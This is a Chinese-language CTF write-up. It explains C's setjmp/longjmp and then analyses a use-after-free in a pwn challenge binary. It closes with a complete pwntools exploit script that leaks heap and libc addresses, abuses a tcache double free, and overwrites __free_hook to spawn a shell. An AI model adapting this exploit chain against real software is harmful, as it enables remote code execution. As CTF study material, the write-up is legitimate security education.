文章目录
检查
_setjmp 和 longjmp
setjmp
和longjmp
是C语言中用于实现非局部跳转(non-local jump)的函数,它们允许程序的控制流程跨越函数调用边界,从一个指定的位置跳转到另一个先前记录的位置。这与常规的函数调用和返回机制不同,常规机制只能在函数内部进行控制流的转移。
_setjmp 和 longjmp 函数简介
setjmp
函数用于设置一个返回点,而longjmp
函数则用于从程序的任何位置跳回到setjmp
所设置的返回点。
_setjmp 函数
_setjmp
函数(在C++中通常称为setjmp
)的原型如下:
int _setjmp(jmp_buf env);
env
是一个jmp_buf
类型的数组,用于保存当前执行环境的信息,包括寄存器的值和程序计数器等。_setjmp
函数返回0,如果这是第一次调用_setjmp
;如果longjmp
调用到了这个env
,则_setjmp
返回非零值。
longjmp 函数
longjmp
函数的原型如下:
void longjmp(jmp_buf env, int val);
longjmp
函数用于从当前的执行位置跳转回由env
标识的setjmp
点。val
是传递给setjmp
的返回值,通常用来指示跳转的原因。
示例
下面是一个使用_setjmp
和longjmp
的例子:
#include <stdio.h>
#include <setjmp.h>
jmp_buf jmpbuf;
void my_function() {
printf("Inside my_function\n");
// 模拟一个错误条件
if (1) {
longjmp(jmpbuf, 1); // 发生错误,跳回到setjmp点
}
}
int main() {
int ret;
printf("Before setjmp\n");
ret = _setjmp(jmpbuf); // 设置返回点
if (ret == 0) {
printf("First call to setjmp\n");
my_function(); // 调用可能抛出longjmp的函数
} else {
printf("Caught an error, ret=%d\n", ret);
}
printf("After possible longjmp\n");
return 0;
}
在这个例子中,main
函数首先调用_setjmp
来设置一个返回点。如果my_function
检测到错误条件,它会调用longjmp
,这将使控制流立即返回到_setjmp
调用的位置,跳过my_function
的后续代码。main
函数中的else
分支将在longjmp
之后执行,处理错误情况。
需要注意的是,longjmp
和setjmp
的使用应当谨慎,因为它们可能会破坏程序的状态,例如,跳过资源释放代码或导致线程安全问题。通常,异常处理机制如C++的try/catch
或更高级的错误处理方法是更可取的替代方案。
实例
当你在C程序中调用longjmp()
函数时,它会将程序控制权立即转移到与传入jmp_buf
关联的setjmp()
调用点。在这个情况下,longjmp(main_begin_jmp_buf, 1);
将导致程序的控制流跳回到_setjmp(main_begin_jmp_buf);
所在的点。
具体来说,在你的代码片段中,longjmp(main_begin_jmp_buf, 1);
会使得程序执行从longjmp
调用点跳转回_setjmp(main_begin_jmp_buf);
这一行之后的第一条指令。也就是说,如果_setjmp(main_begin_jmp_buf);
之后紧接着是:
if ( _setjmp(main_begin_jmp_buf) )
{
v3 = time(0LL);
printf("restart at %ld\n", v3);
}
那么longjmp(main_begin_jmp_buf, 1);
执行后,程序会从if ( _setjmp(main_begin_jmp_buf) )
这一行开始继续执行,但这一次_setjmp()
不再返回0,而是返回了longjmp()
传递的值(在这种情况下是1)。因此,if
语句的条件为真,程序将执行v3 = time(0LL);
和printf("restart at %ld\n", v3);
这两行代码。
简而言之,longjmp(main_begin_jmp_buf, 1);
会使程序跳转到_setjmp(main_begin_jmp_buf);
之后的代码段,并从那里继续执行,且_setjmp()
的返回值将为1,这将触发if
语句中的代码块。
逆向
相关参考
https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.17_pwn_secconctf2016_jmper
https://darkwing.moe/2019/09/24/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B024-%E5%85%B6%E4%BB%96%E4%B8%80%E4%BA%9B%E6%8A%80%E6%9C%AF/
思路
非常感谢Eurus师傅提供的帮助
反编译有问题,这里new_user后,root_chunk会改变
这里实现了循环双向链表,大致就是创建用户会在链表尾部插入,然后更新root_chunk,find会根据name来检索循环链表,最后直到下一个与开始的节点相同就停止
漏洞点在于free掉当前root_chunk后不会改变root_chunk的值,find依然会按照原来的root_chunk来寻找,进而new,dele,change都会有影响
fastbin是个无底洞,塞不到unsortedbin中去。下面代码得证
#include <stdlib.h>
int main()
{
char*a[30];
for(int i=1;i<=26;i++)
{
a[i]=malloc(0x20);
}
for(int i=1;i<=26;i++)
{
free( a[i]);
}
}
由于泄露heap地址,所以free root后虽然改变name,但依然可以修改passwd,正是tcache的字段用来判断double free(先判断e->key == tcache,然后遍历idx对应的tcache,然后看看有没有地址相同),然后利用double free造成任意堆地址分配,进而分配到某个堆的头部作为data部分然后passwd正好是size部分修改size,然后free掉从而进入unsortedbin,为了保证引起检查错误,所以要分配一堆0x30的chunk来满足chunk_extend
然后再利用double free改free_hook就行
double free->泄露libc
分配到堆头部分,改堆头size,free后进入unsortedbin可泄露
exp
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
def restart():
p.sendlineafter(b'> ',b'1')
def add(name,passwd):
p.sendlineafter(b'> ',b'2')
p.sendafter(b'username > ',name)
p.sendafter(b'password > ',passwd)
def delete(name):
p.sendlineafter(b'> ',b'3')
p.sendafter(b'username > ',name)
def edit(name,passwd):
p.sendlineafter(b'> ',b'4')
p.sendafter(b'username > ',name)
p.sendafter(b'password > ',passwd)
def show():
p.sendlineafter(b'> ',b'5')
p=process("./run")
add(b"2",b"2")
delete(b"2")
delete(b"root")
add(b"1",b"1") # cover part heap address
show()
heap=u64( (p.recv(6)).ljust(8,b"\x00"))-0x531
print("heap",hex(heap))
add(b"2",b"2")
add(b"3",b"3") # then need heap address to find the chunk to edit
# 0x420
for i in range(21):
add(b"extend",b"extend")
delete(b"2")
delete(b"3") # else can't find
restart() # root_chunk change 3
delete(b"root")
edit(p64(heap+0x540),b"0")
delete(p64(heap+0x540))
add(p64(heap+0x560),p64(0))
add(p64(heap+0x560),b"unuse")
add(p64(0),p64(0x421))
delete(p64(heap+0x570)) # new user will change 16 24
restart() # enconvinent to layout
add(b"1",b"1")
show()
leak=u64( (p.recv(6)).ljust(8,b"\x00"))
libc=leak-0x1ecb31
delete(p64(leak))
gdb.attach(p)
pause()
delete(b"root")
edit(p64(heap+0x740),p64(0))
delete(p64(heap+0x740))
add(p64(libc+0x1eee48-8),p64(0))
add(b"nouse",b"nouse")
add(b"/bin/sh\x00",p64(libc+0x52290))
delete(b"/bin/sh\x00")
p.interactive()